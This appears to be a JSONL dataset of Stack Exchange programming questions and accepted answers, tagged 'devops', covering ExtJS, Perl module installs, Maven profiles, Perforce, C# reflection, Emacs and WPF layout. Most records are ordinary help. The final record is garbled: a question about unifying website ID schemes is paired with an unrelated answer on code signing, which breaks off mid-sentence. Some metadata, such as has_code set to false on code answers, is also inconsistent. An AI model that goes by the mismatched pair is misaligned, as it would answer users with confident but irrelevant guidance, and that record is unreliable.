{"id": "hf_a2ad61c99702", "question": "<p>ExtJS has Ext.each() function, but is there a map() also hidden somewhere?</p>\n\n<p>I have tried hard, but haven't found anything that could fill this role. It seems to be something simple and trivial, that a JS library so large as Ext clearly must have.</p>\n\n<p>Or when Ext really doesn't include it, what would be the best way to add it to Ext. Sure, I could just write:</p>\n\n<pre><code>Ext.map = function(arr, f) { ... };\n</code></pre>\n\n<p>But is this really the correct way to do this?</p>\n", "question_body": "", "answer": "Since\n```\nmap\n```\nis more of a utility than anything, I don't see why there would be any special way of plugging it into the Ext namespace; the way you propose would work well enough, though you might want to do it thusly:\n```\n```\nif(Ext && typeof(Ext.map) == \"undefined\") { // only if Ext exists & map isn't already defined\n   Ext.map = function(arr, f) { ... };\n}\n```\n```\nSeems like that would be fine...but then, I don't use ExtJS, so I don't know. I did take a gander at their docs and it doesn't seem like there is anything special to do in this case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.120040"}
{"id": "hf_a0c1c3afc388", "question": "<p>Anyone know where to find a reference that describes how to output color on the Windows CLI interfaces using API and/or stdout?</p>\n", "question_body": "", "answer": "At least there is the color command:\n```\n```\ncolor bg fg\n```\n```\nwhere:\n```\n```\n0: Black\n1: Blue\n2: Green\n3: Cyan\n4: Red\n5: Purple\n6: Yellow\n7: Gray\n8: Silver\n9: Light blue\nA: Lime\nB: Light cyan\nC: Light red\nD: Light purple\nE: Light yellow\nF: White\n```\n```\nExample:\n```\n```\ncolor 80\n```\n```\nGives a silver background with black text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.143864"}
{"id": "hf_b2654098166e", "question": "<p>I have a requirement to produce a Web User Control (in C#) which will exhibit different behaviour when clicked depending on whether the shift (or control) key is pressed at the time. The control itself will contain an ImageButton and/or Hyperlink.</p>\n\n<p>Is this possible?</p>\n\n<p>Basically, if the logged in user is an Admin then I need to allow them access to update the associated URL. I don't want to have a separate page for this admin as it will cause confusion.</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "How about\nhere\n?\nTo implement the\nCtrl\n/\nAlt\n/\nShift\ndetection, you can use the properties\n```\nevent.ctrlKey\n```\n,\n```\nevent.altKey\n```\n,\n```\nevent.shiftKey\n```\nand the deprecated Navigator-specific property\n```\nevent.modifiers\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.216345"}
{"id": "hf_2a6b25e98f4d", "question": "<p>Does anybody knows how can I get the max and min value of the 2nd and 3rd columns in PHP?</p>\n\n<pre><code>$ar = array(array(1,  10,   9.0,   'HELLO'),\n            array(1,  11,  12.9,   'HELLO'),\n            array(3,  12,  10.9,   'HELLO'));\n</code></pre>\n\n<p>Output should be like:</p>\n\n<p>max(12.9)\nmin(10)</p>\n", "question_body": "", "answer": "```\n```\n<?php\n$ar = array(array(1,  10,   9.0,   'HELLO'),\n            array(1,  11,  12.9,   'HELLO'),\n            array(3,  12,  10.9,   'HELLO'));\nfunction col($tbl,$col){\n    $ret = array();\n    foreach ($tbl as $row){\n        $ret[count($ret)+1] = $row[$col];\n    }\n    return $ret;\n}\nprint (max(col($ar,2)).\"\\n\");\nprint (min(col($ar,1)).\"\\n\");\n?>\n```\n```\nis this what you look for? I guess its not the most efficient way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.240436"}
{"id": "hf_96878166cab6", "question": "<p>Here is my situation: I know almost nothing about Perl but it is the only language available on a porting machine. I only have permissions to write in my local work area and not the Perl install location. I need to use the <a href=\"http://search.cpan.org/dist/Parallel-ForkManager\" rel=\"noreferrer\">Parallel::ForkManager</a> Perl module from CPAN </p>\n\n<p>How do I use this Parallel::ForkManager without doing a central install? Is there an environment variable that I can set so it is located?</p>\n\n<p>Thanks</p>\n\n<p>JD</p>\n", "question_body": "", "answer": "From\nperlfaq8:  How do I keep my own module/library directory?\n:\nWhen you build modules, tell Perl where to install the modules.\nFor C-based distributions, use the INSTALL_BASE option\nwhen generating Makefiles:\n```\n```\nperl Makefile.PL INSTALL_BASE=/mydir/perl\n```\n```\nYou can set this in your CPAN.pm configuration so modules automatically install\nin your private library directory when you use the CPAN.pm shell:\n```\n```\n% cpan\ncpan> o conf makepl_arg INSTALL_BASE=/mydir/perl\ncpan> o conf commit\n```\n```\nFor C-based distributions, use the --install_base option:\n```\n```\nperl Build.PL --install_base /mydir/perl\n```\n```\nYou can configure CPAN.pm to automatically use this option too:\n```\n```\n% cpan\ncpan> o conf mbuild_arg --install_base /mydir/perl\ncpan> o conf commit\n```\n```\nINSTALL_BASE tells these tools to put your modules into\nF.  See L for details on how to run your newly\ninstalled moudles.\nThere is one caveat with INSTALL_BASE, though, since it acts\ndifferently than the PREFIX and LIB settings that older versions of\nExtUtils::MakeMaker advocated. INSTALL_BASE does not support\ninstalling modules for multiple versions of Perl or different\narchitectures under the same directory. You should consider if you\nreally want that , and if you do, use the older PREFIX and LIB\nsettings. See the ExtUtils::Makemaker documentation for more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.287919"}
{"id": "hf_29f7d9adb5f6", "question": "<p>We've had an ongoing need here that I can't figure out how to address using the stock Maven 2 tools and documentation.</p>\n\n<p>Some of our developers have some very long running JUnit tests (usually stress tests) that under no circumstances should be run as a regular part of the build process / nightly build.</p>\n\n<p>Of course we can use the surefire plugin's exclusion mechanism and just punt them from the build, but ideally we'd love something that would allow the developer to run them at will through Maven 2.</p>\n", "question_body": "", "answer": "Normally you would add a profile to your maven configuration that runs a different set of tests:\nrun this with mvn -Pintegrationtest install\n```\n```\n<profile>\n        <id>integrationtest</id>\n        <build>\n            <plugins>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-surefire-plugin</artifactId>\n                    <configuration>\n                        <argLine>-client -Xmx896m -XX:MaxPermSize=192m</argLine>\n                        <forkMode>once</forkMode>\n                        <includes>\n                            <include>**/**/*Test.java</include>\n                            <include>**/**/*IntTest.java</include>\n                        </includes>\n                        <excludes>\n                            <exclude>**/**/*SeleniumTest.java</exclude>\n                        </excludes>\n                    </configuration>\n                </plugin>\n            </plugins>\n        </build>\n        <activation>\n            <property>\n                <name>integrationtest</name>\n            </property>\n        </activation>\n    </profile>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.371499"}
{"id": "hf_03376d2de7bc", "question": "<p>I want to create a class that takes string array as a constructor argument and has command line option values as members vals. Something like below, but I don't understand how the Bistate works.</p>\n\n<pre><code>import scalax.data._\nimport scalax.io.CommandLineParser\n\nclass TestCLI(arguments: Array[String]) extends CommandLineParser {\n    private val opt1Option = new Flag(\"p\", \"print\") with AllowAll\n    private val opt2Option = new Flag(\"o\", \"out\") with AllowAll\n    private val strOption = new StringOption(\"v\", \"value\") with AllowAll\n    private val result = parse(arguments)\n    // true or false\n    val opt1 = result(opt1Option)\n    val opt2 = result(opt2Option)\n    val str = result(strOption)\n}\n</code></pre>\n", "question_body": "", "answer": "I'm not personally familiar with Scalax or\n```\nBistate\n```\nin particular, but just looking at the scaladocs, it looks like a left-right disjunction.  Scala's main library has a monad very much like this (\n```\nEither\n```\n), so I'm surprised that they didn't just use the standard one.\nIn essence,\n```\nBistate\n```\nand\n```\nEither\n```\nare a bit like\n```\nOption\n```\n, except their \"\n```\nNone\n```\n-equivalent\" can contain a value.  For example, if I were writing code using\n```\nEither\n```\n, I might do something like this:\n```\n```\ndef div(a: Int, b: Int) = if (b != 0) Left(a / b) else Right(\"Divide by zero\")\n\ndiv(4, 2) match {\n  case Left(x) => println(\"Result: \" + x)\n  case Right(e) => Println(\"Error: \" + e)\n}\n```\n```\nThis would print \"\n```\nResult: 2\n```\n\".  In this case, we're using\n```\nEither\n```\nto simulate an exception.  We return an instance of\n```\nLeft\n```\nwhich contains the value we want, unless that value cannot be computed for some reason, in which case we return an error message wrapped up inside an instance of\n```\nRight\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.431747"}
{"id": "hf_203b90f101c3", "question": "<p>Are there, in the canonical Gang of Four list, any design patterns that you often find misused, misunderstood or overused (other than the highly debated Singleton)? In other words, is there a design pattern you would advise to think twice before using? (And why?)</p>\n", "question_body": "", "answer": "Factory Patterns...\nI was parachuted into a project before where every single\n```\nMyObject\n```\nin the system had an equivalent\n```\nMyObjectFactory\n```\nfor generating new instances. There was no concept of abstraction or extended classes... just plain old ClassX & ClassXFactory.\nAnd no-one could explain why... \"It was just the way things had always been done\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.480529"}
{"id": "hf_ddb7ed017aa3", "question": "<p>I have a interface that defines some methods with attributes.  These attributes need to be accessed from the calling method, but the method I have does not pull the attributes from the interface.  What am I missing?</p>\n\n<pre><code>public class SomeClass: ISomeInterface\n{\n    MyAttribute GetAttribute()\n    {\n        StackTrace stackTrace = new StackTrace();\n        StackFrame stackFrame = stackTrace.GetFrame(1);\n        MethodBase methodBase = stackFrame.GetMethod();\n        object[] attributes = methodBase.GetCustomAttributes(typeof(MyAttribute), true);\n        if (attributes.Count() == 0)\n            throw new Exception(\"could not find MyAttribute defined for \" + methodBase.Name);\n        return attributes[0] as MyAttribute;\n    }\n\n    void DoSomething()\n    {\n        MyAttribute ma = GetAttribute();\n        string s = ma.SomeProperty;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "The methodBase will be the method on the class, not the interface. You will need to look for the same method on the interface. In C# this is a little simpler (since it must be like-named), but you would need to consider things like explicit implementation. If you have VB code it will be trickier, since VB method \"Foo\" can implement an interface method \"Bar\". To do this, you would need to investigate the interface map:\n```\n```\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.Reflection;\ninterface IFoo\n{\n    void AAA(); // just to push Bar to index 1\n    [Description(\"abc\")]\n    void Bar();\n}\nclass Foo : IFoo\n{\n    public void AAA() { } // just to satisfy interface\n    static void Main()\n    {\n        IFoo foo = new Foo();\n        foo.Bar();\n    }\n    void IFoo.Bar()\n    {\n        GetAttribute();\n    }\n\n    void GetAttribute()\n    { // simplified just to obtain the [Description]\n\n        StackTrace stackTrace = new StackTrace();\n        StackFrame stackFrame = stackTrace.GetFrame(1);\n        MethodBase classMethod = stackFrame.GetMethod();\n        InterfaceMapping map = GetType().GetInterfaceMap(typeof(IFoo));\n        int index = Array.IndexOf(map.TargetMethods, classMethod);\n        MethodBase iMethod = map.InterfaceMethods[index];\n        string desc = ((DescriptionAttribute)Attribute.GetCustomAttribute(iMethod, typeof(DescriptionAttribute))).Description;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.541383"}
{"id": "hf_fa765c6c77d6", "question": "<p>Given a Generic List of objects that contain a member variable that is a string, what is the best way to get the object that contains the string with the longest length?</p>\n\n<p>ie.\nassuming val1 is the string I'm comparing:</p>\n\n<pre><code>0 : { val1 = \"a\"   }\n1 : { val1 = \"aa\"  }\n2 : { val1 = \"aba\" }\n3 : { val1 = \"c\"   }\n</code></pre>\n\n<p>what needs to be returned is object 2 because \"aba\" has the greatest length.</p>\n", "question_body": "", "answer": "Sorry, I'll try again. You can use the following aggregation:\n```\n```\nDim result = elements.Aggregate(Function(a, b) If(a.val1.Length > b.val1.Length, a, b))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.607694"}
{"id": "hf_01c116fa35f8", "question": "<p>I'm using Asp.Net 2.0. I have a scenario where i need to check a user input against any of two ranges. For e.g. I need to check a textbox value against ranges 100-200 or 500-600. I know that i can hook up 2 Asp.Net RangeValidators to the TextBox,  but that will try to validate the input against both the ranges, an AND condition,if you will. CustomValidator is an option, but how would I pass the 2 ranges values from the server-side. Is it possible to extend the RangeValidator to solve this particular problem? </p>\n\n<p>[Update]\nSorry I didn't mention this, the problem for me is that range can vary. And also the different controls in the page will have different ranges based on some condition. I know i can hold these values in some js variable or hidden input element, but it won't look very elegant.</p>\n", "question_body": "", "answer": "You can use the RegularExpressionValidator with the ValidationExpression property set to\nEdit: (whoops, 650 and 201 etc. were valid with the old pattern)\n```\n```\n^(1\\d{2}|200|5\\d{2}|600)$\n```\n```\nThis will test the entered text for 100-200 and 500-600.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.632362"}
{"id": "hf_93c2c15f5c6d", "question": "<p>I am a rookie was using the Visual Studio 2008 built-in Unit Testing components, what would be the best way to record or display your results in a unit test?</p>\n\n<p>I want to test my service method when it returns a System.GUID and an empty System.GUID</p>\n\n<pre><code>[TestMethod]\npublic void GetGUID()\n{\n   MyWcfServiceService.MyWcfServiceClient proxy = new MyWcfServiceService.MyWcfServiceClient();\n   string name = \"HasGuid\";\n\n   System.GUID guid = proxy.GetGUID(name);\n}\n\n[TestMethod]\npublic void GetEmptyGUID()\n{\n    MyWcfServiceService.MyWcfServiceClient proxy = new MyWcfServiceService.MyWcfServiceClient();\n   string name = \"HasEmptyGuid\";\n\n   System.GUID guid = proxy.GetGUID(name);\n}\n</code></pre>\n", "question_body": "", "answer": "I used this for a few months last year, IIRC isn't there an\n```\nAssert\n```\nclass?\n```\nAssert.IsTrue(...)\n```\n?\nI've dropped VS test stuff in favor of other unit test frameworks (better IMO) so my memory is likely clouded.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.745725"}
{"id": "hf_e511da93b19f", "question": "<p>What commands in Emacs can I use to insert into the text buffer of a file the current date and time?</p>\n\n<p><em>(For example, the equivalent in Notepad is simply pressing F5 which is about the only useful feature for Notepad!)</em></p>\n", "question_body": "", "answer": "Put in your .emacs file:\n```\n```\n;; ====================\n;; insert date and time\n\n(defvar current-date-time-format \"%a %b %d %H:%M:%S %Z %Y\"\n  \"Format of date to insert with `insert-current-date-time' func\nSee help of `format-time-string' for possible replacements\")\n\n(defvar current-time-format \"%a %H:%M:%S\"\n  \"Format of date to insert with `insert-current-time' func.\nNote the weekly scope of the command's precision.\")\n\n(defun insert-current-date-time ()\n  \"insert the current date and time into current buffer.\nUses `current-date-time-format' for the formatting the date/time.\"\n       (interactive)\n       (insert \"==========\\n\")\n;       (insert (let () (comment-start)))\n       (insert (format-time-string current-date-time-format (current-time)))\n       (insert \"\\n\")\n       )\n\n(defun insert-current-time ()\n  \"insert the current time (1-week scope) into the current buffer.\"\n       (interactive)\n       (insert (format-time-string current-time-format (current-time)))\n       (insert \"\\n\")\n       )\n\n(global-set-key \"\\C-c\\C-d\" 'insert-current-date-time)\n(global-set-key \"\\C-c\\C-t\" 'insert-current-time)\n```\n```\nReference", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.785195"}
{"id": "hf_38d2e1ebb5a8", "question": "<p>Lists in C# have the <code>.ToArray()</code> method. I want the inverse, where an array is transformed into a list. I know how to create a list and loop through it but I would like a one liner to swap it back.</p>\n\n<p>I am using the <code>String.Split</code> method in the .NET 2.0 environment, so LINQ, etc. is not available to me.</p>\n", "question_body": "", "answer": "```\n```\nreturn new List<string>(stringArray);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.821338"}
{"id": "hf_a596c0f91e31", "question": "<p>I'm in javascript, running this in the console </p>\n\n<pre><code>d = new Date();             \nd.setMonth(1);\nd.setFullYear(2009);\nd.setDate(15);                                  \nd.toString();\n</code></pre>\n\n<p>outputs this:</p>\n\n<pre><code>\"Sun Mar 15 2009 18:05:46 GMT-0400 (EDT)\"\n</code></pre>\n\n<p>Why would this be happening? It seems like a browser bug.</p>\n", "question_body": "", "answer": "```\n```\nd = new Date();\nd.setDate(15);                    \nd.setMonth(1);\nd.setFullYear(2009);                                                                 \nd.toString();\n```\n```\nThis works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.856673"}
{"id": "hf_3656cd6de3ca", "question": "<p>I have a site that creates images for some bit of content after the content is created.  I'm trying to figure out what to do in between the time the content is created and the image is created.  My thought is that I might be able to set a custom image to display on a 404 error on the original image.  However, I'm not sure how to do this with lighttpd.  Any ideas or alternatives?</p>\n\n<p>EDIT:  The issue is the user isn't the one creating the content, it's being created by a process.  Basically we are adding items to a catalog and we want to create a standardized catalog image from an image supplied by the product provider.  However, I don't want a slow server on the provider end to slow down the addition of new products.  So a separate process goes through and creates the image later, where available.  I guess I could have the system create a default image when we create the product and then overwrite it later when we create the image from the provider supplied image.</p>\n", "question_body": "", "answer": "Use the\n```\n<object>\n```\ntag in HTML with a fallback to the default image.\n```\n```\n<P>                 <!-- First, try the Python applet -->\n<OBJECT title=\"The Earth as seen from space\" \n        classid=\"http://www.observer.mars/TheEarth.py\">\n                    <!-- Else, try the MPEG video -->\n  <OBJECT data=\"TheEarth.mpeg\" type=\"application/mpeg\">\n                    <!-- Else, try the GIF image -->\n    <OBJECT data=\"TheEarth.gif\" type=\"image/gif\">\n                    <!-- Else render the text -->\n     The <STRONG>Earth</STRONG> as seen from space.\n    </OBJECT>\n  </OBJECT>\n</OBJECT>\n</P>\n```\n```\n(Example from w3.org)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.880270"}
{"id": "hf_a7e6ddf9cac2", "question": "<p>I often accidentally create a branch that contains more code than it needs to. When that happens, I delete the branch files, the branch tag, and then start over. The thing that stinks is having to sync the huge pile of data just so I can delete it.</p>\n\n<p>Is there a way to delete server-side?</p>\n", "question_body": "", "answer": "Yes, use sync -k.\nAdd the path you want to delete to your client, e.g.\n```\n```\n//depot/oops/... //your-client/oops/...\n```\n```\nThen sync that location using the -k option:\n```\n```\np4 sync -k oops/...\n```\n```\nThis will tell Perforce that your client has the files without actually transferring them.  Then you can do:\n```\n```\np4 delete oops/...\np4 submit oops/...\n```\n```\netc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.940483"}
{"id": "hf_b6c03d554c50", "question": "<p>We are developing a small in-house application that will run on monitor having multi resolutions. Now we want that the application should adjust itself and remain consistent over all monitors.</p>\n\n<p>I came from a Java background too where we used different layouts to accomplish the task. I experimented in .NET with different layouts like UniGrid (which provide the consistency but very restrictive), Grid, etc. but failed in the required task. </p>\n\n<p>What are some possible layout model or some other solution?</p>\n\n<p><strong>I think if we can specify percentage width or height as we do in CSS/HTML then we can adopt this cross-resolution policy. I found Infergistics have such controls, but can this can be achieved via default controls?</strong></p>\n\n<p>P.S.: I am actually trying in WPF (preferably WPF native application).</p>\n", "question_body": "", "answer": "It would completely depend on the content / context of your application, but the .NET Form designer provides you with some useful tools while designing your UI.\nMost controls have an\n```\nAnchor\n```\nproperty that allows you specify that a control should stay anchored the specified distance from the top/left/bottom/right of the form during resizing.\nLikewise the form itself exposes\n```\nResize\n```\nand\n```\nSizeChanged\n```\nevents that you can use to customise the UI when the form is resized.\nThere's some information here as well regarding layouts,\nhttp://msdn.microsoft.com/en-us/library/ms951306.aspx\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.025331"}
{"id": "hf_dc7c5a9db998", "question": "<p>I have a couple of questions about generic wildcards in Java:</p>\n\n<ol>\n<li><p>What is the difference between <code>List&lt;? extends T&gt;</code> and <code>List&lt;? super T&gt;</code>?</p></li>\n<li><p>What is a bounded wildcard and what is an unbounded wildcard?</p></li>\n</ol>\n", "question_body": "", "answer": "In your first question,\n```\n<? extends T>\n```\nand\n```\n<? super T>\n```\nare examples of bounded wildcards.  An unbounded wildcard looks like\n```\n<?>\n```\n, and basically means\n```\n<? extends Object>\n```\n.  It loosely means the generic can be any type.  A bounded wildcard (\n```\n<? extends T>\n```\nor\n```\n<? super T>\n```\n) places a restriction on the type by saying that it either has to\nextend\na specific type (\n```\n<? extends T>\n```\nis known as an upper bound), or has to be an ancestor of a specific type (\n```\n<? super T>\n```\nis known as a lower bound).\nThe Java Tutorials have some pretty good explanations of generics in the articles\nWildcards\nand\nMore Fun with Wildcards\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.053226"}
{"id": "hf_369627e66018", "question": "<p>Using .Net how do I use the Sort method to sort an Array in reverse i.e. Z to A?</p>\n", "question_body": "", "answer": "You need to pass a\nIComparer\nobject or\nComparison\ndelegate to the Sort function.\nHere is a sample code from C# 2.0\n```\n```\nArray.Sort(array,delegate(string a, string b)\n    {\n        return b.CompareTo(a);\n    });\n```\n```\nEDIT: missed the array bit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.077912"}
{"id": "hf_72775934954b", "question": "<p>I am building a ASP.NET website, and when I click the START DEBUGGING icon, it runs Internet Explorer as the account that I ran Visual Studio with.  </p>\n\n<p>I would like to run IE as a different user when debugging.</p>\n", "question_body": "", "answer": "You can use the runas command to run IE as a different user for running your app. Later attach to the asp.net worker process when you want to debug.\nIf you want to just change the credentials for Integrated Authentication, try the setting in the update below.\nUpdate\n: If you want IE to prompt for a user name and password, try this setting:\nFor IE 7, set this option for your zone:\nTools> Internet Options > Security > custom level (for your zone)> User Authentication> Logon > prompt for user name and password", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.114450"}
{"id": "hf_77a5bd273f1a", "question": "<p>I'm trying to get my head around <a href=\"https://jira.amqp.org/confluence/display/AMQP/About+AMQP\" rel=\"nofollow noreferrer\">AMQP</a>. It looks great for inter-machine (cluster, LAN, WAN) communication between applications but I'm not sure if it is suitable (in architectural, and current implementation terms) for use as a software bus within one machine.</p>\n\n<p>Would it be worth pulling out a current high performance message passing framework to replace it with AMQP, or is this falling into the <a href=\"http://steve.vinoski.net/blog/2008/07/01/convenience-over-correctness/\" rel=\"nofollow noreferrer\">same trap as RPC</a> by blurring the distinction between local and non-local communication?</p>\n\n<p>I'm also wary of the performance impacts of using a WAN technology for intra-machine communications, although this may be more of an implementation concern than architecture.</p>\n\n<p>War stories would be appreciated.</p>\n", "question_body": "", "answer": "AMQP is a specification so you'd be comparing apples with oranges really. There are not that many production ready AMQP providers out there really; none of the major messaging providers or vendors support AMQP at the time of writing (e.g. IBM, Tibco, Sonic, BEA, Oracle, SwiftMQ, MS, Apache ActiveMQ, openmq from Sun) - so all the available AMQP providers are pretty new.\nSo I'd recommend comparing whatever AMQP provider you are interested in with your message passing framework. There's no point ripping something out that is working fine just because of the way it reads & writes bytes to a socket :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.161517"}
{"id": "hf_2a74873a8e74", "question": "<p>Is there any way to insert a text (string, may or may not have html tags) to a <code>div</code>?</p>\n<p>It has to be a <code>div</code> and not a <code>textarea</code>.</p>\n<p>First of all, I need to get the cursor position, then insert the text in that position. It's similar to function <code>insertAdjacentText</code>, but it can only insert before or after a tag, and only works in IE.</p>\n<p>Refer to this URL: <a href=\"http://yart.com.au/test/iframe.aspx\" rel=\"nofollow noreferrer\">http://yart.com.au/test/iframe.aspx</a>. Note how you can position the cursor in the div, we need to add text at the cursor location.</p>\n", "question_body": "", "answer": "The Range and Selection Objects\nUse the\nselection\nand\nrange objects\n.  These contain all kinds of information about the current selection, and where it lies within the node tree.\nFair Warning:\nIt's not entirely impossible to do what you're describing, but if you get very fancy, you'll be in pretty deep water of\nbrowser quirks and incompatibilities\n.  You're going to have to do a lot of\nobject detection\n, checking to make sure you've got consistent values and methods. Incrementally check all of your browsers as you develop.  Good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.233602"}
{"id": "hf_461a7af880b9", "question": "<p>Is there any way to disable a system device from C#.NET.</p>\n\n<p>Basically emulating when you go to Device Manager and disable a device that way?</p>\n\n<p>I am assuming there is a WinAPI function that I can invoke, but I don't know which one it is?</p>\n\n<p>The reason I need to do this is that I need to disable and straight after enable the device again.</p>\n\n<p>I need to work in Windows XP and Vista (x86 &amp; x64). I had a look at something called \"DevCon\" but it doesn't seem to work on Vista x64.</p>\n\n<p>Thanks.</p>\n\n<p><strong>For the answer see here: <a href=\"https://stackoverflow.com/questions/4097000/how-do-i-disable-a-system-device-programatically\">How do I disable a system device programatically?</a></strong></p>\n", "question_body": "", "answer": "To futher Mel Green's answer, the hardware helper library uses interop to call the Windows API (setupapi), specifically the SetupDiSetClassInstallParams method. Of course there are other calls here which are used to look up the device details etc.\nOne thing to consider that if you are running as a standard user or unprivileged account you will not be able to use this to control (enable/disable etc) hardware devices.\nFor more details have a look at\nhttp://www.pinvoke.net\n(and for the specific call:\nhttp://pinvoke.net/default.aspx/setupapi.SetupDiSetClassInstallParam\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.306108"}
{"id": "hf_fd82c237fe5f", "question": "<p>What's the best way to unify several overlapping id systems into a unified one while maintaining the old id system.</p>\n\n<p>I have several different ids on my website... (E.g /publisher/1234 and /designer/1234) I would like to unify the ids into a new system, but want to preserve the functionality of the older system.</p>\n", "question_body": "", "answer": "You can try using\nMicrosoft's Sign Tool\nYou download it as part of the Windows SDK for Windows Server 2008 and .NET 3.5. Once downloaded you can use it from the command line like so:\nsigntool sign /a MyFile.exe\nThis signs a single executable, using the \"best certificate\" available. (If you have no certificate, it will show a SignTool error message.)\nOr you can try:\nsigntool signwizard\nThis will launch a wizard that will walk you through signing your application. (This option is not available after Windows SDK 7.0.)\nIf you'd like to get a hold of certificate that you can use to test your process of signing the executable you can use the .NET tool\nMakecert\n.\nCertificate Creation Tool (Makecert.exe)\nOnce you've created your own certificate and have used it to sign your executable, you'll need to manually add it as a Trusted Root CA for your machine in order for\nUAC\nto tell the user running it that it's from a trusted source.\nImportant\n.\nInstalling a 